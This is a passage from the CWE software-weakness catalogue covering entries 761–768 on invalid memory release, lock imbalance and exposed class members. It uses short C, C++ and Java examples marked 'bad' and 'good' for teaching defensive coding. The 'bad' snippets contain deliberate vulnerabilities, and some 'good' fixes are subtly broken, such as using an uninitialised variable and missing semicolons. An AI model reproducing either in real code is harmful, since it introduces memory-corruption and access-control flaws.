[REF-637]"Rainbow table". 2009 March 3. Wikipedia. < http://en.wikipedia.org/wiki/Rainbow_table >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-761: Free of Pointer not at Start of Buffer

Weakness ID : 761 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The application calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

Extended Description

This can cause the application to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	763	Release of Invalid Pointer or Reference	1408

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C *(bad)*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C *(good)*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
    char *str;
```

```
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

Example 2:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C *(bad)*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 3:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C *(bad)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C *(good)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep));
}
free( input )
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1944

Notes

Maintenance

Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657]"boost C++ Library Smart Pointers". < http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm >.

[REF-480]"Valgrind". < http://valgrind.org/ >.

CWE-762: Mismatched Memory Management Routines

Weakness ID : 762 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The application attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

- The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.
- The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	763	Release of Invalid Pointer or Reference	1408
ParentOf	V	590	Free of Memory not on the Heap	1179

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

Strategy = Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by

ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

Example Language: C++ *(bad)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++ *(good)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

Example 2:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++ *(bad)*

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

Example 3:

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++ *(bad)*

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1944
MemberOf	C	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	1154	2003
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2019

Notes

Applicable Platform

This weakness is possible in any programming language that allows manual management of memory.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	WIN30-C	Exact	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657]"boost C++ Library Smart Pointers". < http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm >.

[REF-480]"Valgrind". < http://valgrind.org/ >.

[REF-391]iOS Developer Library. "Transitioning to ARC Release Notes". 2013 August 8. < https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html >.

CWE-763: Release of Invalid Pointer or Reference

Weakness ID : 763 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.

Extended Description

This weakness can take several forms, such as:

- The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
- The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	877
ParentOf		761	Free of Pointer not at Start of Buffer	1402
ParentOf		762	Mismatched Memory Management Routines	1405

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	877

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864
MemberOf	C	465	Pointer Issues	1868

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.*	

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C *(bad)*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 2:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

Example Language: C++ *(bad)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++ *(good)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the

allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C *(bad)*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C *(good)*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

Example 4:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C *(bad)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
```

```
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C *(good)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep));
}
free( input )
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1944
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2019

Notes

Maintenance

This area of the view CWE-1000 hierarchy needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657]"boost C++ Library Smart Pointers". < http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm >.

[REF-480]"Valgrind". < http://valgrind.org/ >.

CWE-764: Multiple Locks of a Critical Resource

Weakness ID : 764 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software locks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		675	Duplicate Operations on Resource	1316
ChildOf		667	Improper Locking	1299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	DoS: Resource Consumption (CPU) DoS: Crash, Exit, or Restart Unexpected State	

Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the

software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	1952

Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

CWE-765: Multiple Unlocks of a Critical Resource

Weakness ID : 765 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software unlocks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	675	Duplicate Operations on Resource	1316
ChildOf	C	667	Improper Locking	1299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	DoS: Crash, Exit, or Restart Modify Memory Unexpected State	

Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

Observed Examples

Reference	Description
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0935*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	1952

Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

CWE-766: Critical Data Element Declared Public

Weakness ID : 766 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software declares a critical variable, field, or member to be public when intended security policy requires it to be private.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Read Application Data Modify Application Data *Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.*	
Other	Reduce Maintainability	

Potential Mitigations

Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

Demonstrative Examples

Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

Example Language: C++ *(bad)*

```
public: char* password;
```

Instead, the critical data should be declared private.

Example Language: C++ *(good)*

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

Example Language: C++ *(bad)*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
    public:
        UserAccount(char *username, char *password)
        {
            if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
                ExitError("Invalid username or password");
            }
            strcpy(this->username, username);
            strcpy(this->password, password);
        }
    int authorizeAccess(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
        (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
        // if the username and password in the input parameters are equal to
        // the username and password of this account class then authorize access
        if (strcmp(this->username, username) ||
        strcmp(this->password, password))
            return 0;
        // otherwise do not authorize access
        else
            return 1;
    }
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};
```

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

Example Language: C++ *(good)*

```
class UserAccount
{
public:
    ...
private:
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};
```

Observed Examples

Reference	Description
CVE-2010-3860	variables declared public allows remote read of system properties such as user name and home directory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3860*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ01-J		Declare data members as private and provide accessible wrapper methods
Software Fault Patterns	SFP28		Unexpected access points
OMG ASCMM	ASCMM-MNT-15		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-767: Access to Critical Private Variable via Public Method

Weakness ID : 767 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software defines a public method that reads or modifies a private variable.

Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Other	

Potential Mitigations

Phase: Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

Demonstrative Examples

Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

Example Language: C++ *(bad)*

```
private: float price;
public: void changePrice(float newPrice) {
    price = newPrice;
}
```

Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

Example Language: Java *(bad)*

```
public class Client {
    private int UID;
    public int PID;
    private String userName;
    public Client(String userName){
        PID = getDefaultProfileID();
        UID = mapUserNametoUID( userName );
        this.userName = userName;
    }
    public void setPID(int ID) {
        UID = ID;
    }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo. accidentally specified the critical variable UID instead. If the program allows profile IDs to

be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Maintenance

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
Software Fault Patterns	SFP23		Exposed Data
SEI CERT Perl Coding Standard	OOP31-PL	Imprecise	Do not access private variables or subroutines in other packages

CWE-768: Incorrect Short Circuit Evaluation

Weakness ID : 768 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the software's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	*Widely varied consequences are possible if an attacker is aware of an unexpected state in the software after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.*	

Potential Mitigations

Phase: Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

Demonstrative Examples

Example 1:

